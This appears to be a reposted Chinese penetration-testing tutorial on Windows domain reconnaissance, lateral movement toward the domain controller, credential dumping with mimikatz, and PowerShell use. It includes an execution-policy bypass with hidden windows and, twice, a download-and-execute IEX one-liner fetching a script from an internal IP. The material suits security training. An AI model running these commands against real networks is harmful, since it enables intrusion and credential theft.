判断是否在域环境下
我们可以通过 ipconfig /all 命令来判断是否在域环境下。例如:
PS C:\Users\月> ipconfig /all Windows IP 配置 主机名 . . . . . . . . . . . . . : DESKTOP-LIUHT7O 主 DNS 后缀 . . . . . . . . . . . :
一般情况下,会有一个DNS服务器来解析。如果没有,那就代表不是在域环境下。如果有,那就是在域环境下。
定位域IP
我们可以通过 net time /domain 命令显示域控的网址。例如,拿到这个网址比如 baidu.com,然后通过 ping baidu.com 命令得出 IP。
定位域管理员账户
我们可以通过以下命令查询域管理员用户组和域管用户:
net group “domain admins” /domain net localgroup adminstrators /domain net group “domain controllers” /domain
以上命令分别用于查询域管理员用户组和域管用户,查看域管理员,以及查看域控 domain controllers(DC)。
域管理员 or 域控
域内权限
在域内,组的概念是包含了许多用户。当管理员想要给某个用户分配权限时,只需要将用户加入到对应权限的组里就行了,这样可以提高工作效率。常见的组有:域本地组、全局组、通用组。
域本地组:成员范围是所有的域,使用范围是自己所在的域。
全局组:成员范围是自己所在的域,使用范围是所有的域。
通用组:成员范围是所有的域,使用范围是所有的域。
我们还有一个叫做 A-G-DL-P 策略,它是将用户账号添加到全局组中,将全局组添加到域本地组中,然后为域本地组分配资源权限。其中,A 表示用户账号,G 表示全局组,U 表示通用组,DL 表示域本地组,P 表示资源权限。
控制主机判断
我们需要判断当前机器的角色、网络环境以及环境功能。内网横向移动最终就是拿下域控的权限,有了它就可以操作整个主机控制。
域渗透思路
我们可以通过域成员主机定位出域控制器IP和域管理员密码,利用域成员主机作为跳板,扩大渗透范围。利用域管理员可以登录域内任何成员主机的特性,定位出域管理员登录过的主机IP,设法从域成员主机内存中dump出域管理员密码,进而拿下域控制器,渗透整个内网。
本地主机和域成员主机
A 域成员:执行一些操作并且域控器设置了不允许安装,是会触发域控管理员的,然后会提示你输入管理员的账户密码才可以进行操作,例如 root/saber。
B 本地用户:不受影响,因为它不属于域成员,例如 my/saber,安装等其他操作均不受影响。
密码收集
域控安装系统或软件下发到其他主机上,会存在密码的通用性,如果默认密码没有更改,我们就可以利用这一点。我们可以使用 mimikatz 这个 windows 工具获取读取到他人登录过的痕迹,提权 system 使用密码工具进行抓取。如果读取不到,可能是因为 LSA 保护,LSA 保护可以防止未经授权的进程修改 LSA 进程的内存。
我们可以收集以下几种密码:
系统密码
浏览器密码
数据库密码
代理和隧道
如果网络不可达,也就是说网络没有网,或者说限制的非常厉害,出不来,但是我们可以通过代理解决网络通讯问题,这和协议没有关系。如果协议不出网,我们可以使用隧道技术解决。
PowerShell
PowerShell 可以理解为 CMD 的高级版,CMD 可以做的时候 PowerShell 也可以完成,并且还可以做需要她做不到的事情。它是构建在 .NET 平台上的,所有命令传递的都是 .NET 对象。
PowerShell 的特点包括:
Windows 7 以上的操作系统默认安装
PowerShell 脚本可以运行在内存中,不需要写入磁盘
可以从另一个系统中下载 PowerShell 脚本并执行
目前很多工具都是基于 PowerShell 开发的
很多安全软件检测不到 PowerShell 的活动
cmd 通常会被阻止运行,但是 PowerShell 不会
可以用来管理活动目录
我们可以通过 Get-Host 或 $PSVersionTable 命令查看 PowerShell 版本。
ps1 文件
ps1 文件是 PowerShell 的脚本拓展名,一个 PowerShell 脚本文件其实就是一个简单的文本文件。
执行策略
为了防止恶意脚本在 PowerShell 被运行,它存在一个执行策略,默认情况下它是受限模式,Restricted。我们可以通过 Get-ExecutionPolicy 命令查看当前执行策略。
常见的执行策略包括:
Restricted:不能运行脚本
RemoteSigned:本地创建的脚本可以运行,但从网上下载的脚本不能运行(除非它们拥有由受信任的发布者签署的数字签名)
AllSigned:仅当脚本由受信任的发布者签名才能运行
Unrestricted:脚本执行不受限制,不管来自哪里,也不管它们是否有签名
我们可以使用 Set-Set-ExecutionPolicy 策略名设置执行策略,但是需要管理员权限。例如 Set-ExecutionPolicy Unrestricted。
绕过本地策略执行
默认情况下,PowerShell 的执行策略是 Restricted 受限模式,导致我们在渗透测试中,需要采用方法绕过这个策略,执行我们的脚本文件。我们可以使用 -ExecutionPolicy Bypass 绕过受限。
例如:
cat .\t.ps1echo "Hello TeamsSix" PS C:\Users\teamssix> PowerShell.exe -ExecutionPolicy Bypass -File t.ps1 hello TeamsSix
绕过本地权限并隐藏执行
我们可以使用 -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile 即可隐藏执行。
例如:
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File t.ps1
下载远程脚本绕过权限并隐藏执行
我们可以使用以下命令下载远程脚本绕过权限并隐藏执行:
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile “IEX(New-Object Net.WebClient).DownloadString(‘http://172.16.214.1:8000/t.ps1’)”
运行脚本
运行方式和其他的Shell 基本一致,可以输入完整的路径,也可以到ps1文件所在目录运行
管道
PowerShell中的管道类似于linux中的管道,都是将前一个命令的输出作为另一个命令的输出,两个命令之间使用 '|'进行连接
Get-Process | Sort-Object ID
Get-Process: 用于获取当前系统中正在运行的进程列表。它返回进程的名称、ID、CPU使用情况
Sort-Object: 用于对输入的对象进行排序
所以二者使用管道符连接起来就是对当前进程进行排序,将前一个命令的输出组为另一个命令的输出
命令
新建目录test:New-Item test -ItemType directory
删除目录test:Remove-Item test
新建文件test.txt:New-Item test.txt -ItemType file
新建文件test.txt,内容为 hello:New-Item test.txt -ItemType file -value “hello”
删除文件test.txt:Remove-Item test.txt
查看文件test.txt内容:Get-Content test.txt
设置文件test.txt内容t:Set-Content test.txt -Value “hello”
给文件test.txt追加内容:Add-Content test.txt -Value “,word!”
清除文件test.txt内容:Clear-Content test.txt
本地工作组收集
我们可以通过以下步骤收集本地工作组信息:
查看当前权限
PowerShell 脚本执行
PowerShell 脚本执行有一些特殊的策略和技巧。例如,我们可以通过以下命令绕过本地策略执行:
PowerShell.exe -ExecutionPolicy Bypass -File t.ps1
如果我们想要隐藏执行,我们可以使用 -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile 参数:文章来源:https://www.toymoban.com/news/detail-847956.html
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -File t.ps1
如果我们想要下载远程脚本并绕过权限隐藏执行,我们可以使用以下命令:文章来源地址https://www.toymoban.com/news/detail-847956.html
PowerShell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoLogo -NonInteractive -NoProfile -Command "IEX(New-Object Net.WebClient).DownloadString('http://172.16.214.1:8000/t.ps1')"
到了这里,关于内网安全信息收集与并发编程挑战:深入理解PowerShell脚本执行与域环境控制的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!